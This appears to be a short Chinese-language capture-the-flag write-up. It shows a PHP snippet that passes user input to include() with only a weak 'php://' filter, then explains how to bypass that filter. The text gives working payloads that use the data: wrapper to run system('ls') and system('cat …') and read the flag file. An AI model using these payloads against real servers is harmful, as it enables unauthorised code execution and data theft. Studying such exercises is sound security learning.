<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);}include($page);?>
可以看到$page变量由用户控制,在经过过滤"php://"字符串后包含。
虽然php://被过滤了,但还可以使用file://,不过也不知道明确的flag文件名,所以不能直接读取文件。
除了这些直接读文件的,还有可以任意命令执行的伪协议data:
payload:
page?=data:text/plain,<?php system('ls') ?>
读取到当前目录下的文件
page?=data:text/plain,<?php system('cat flag文件名') ?>
读取到flag内容,不过要查看源码才能看到。
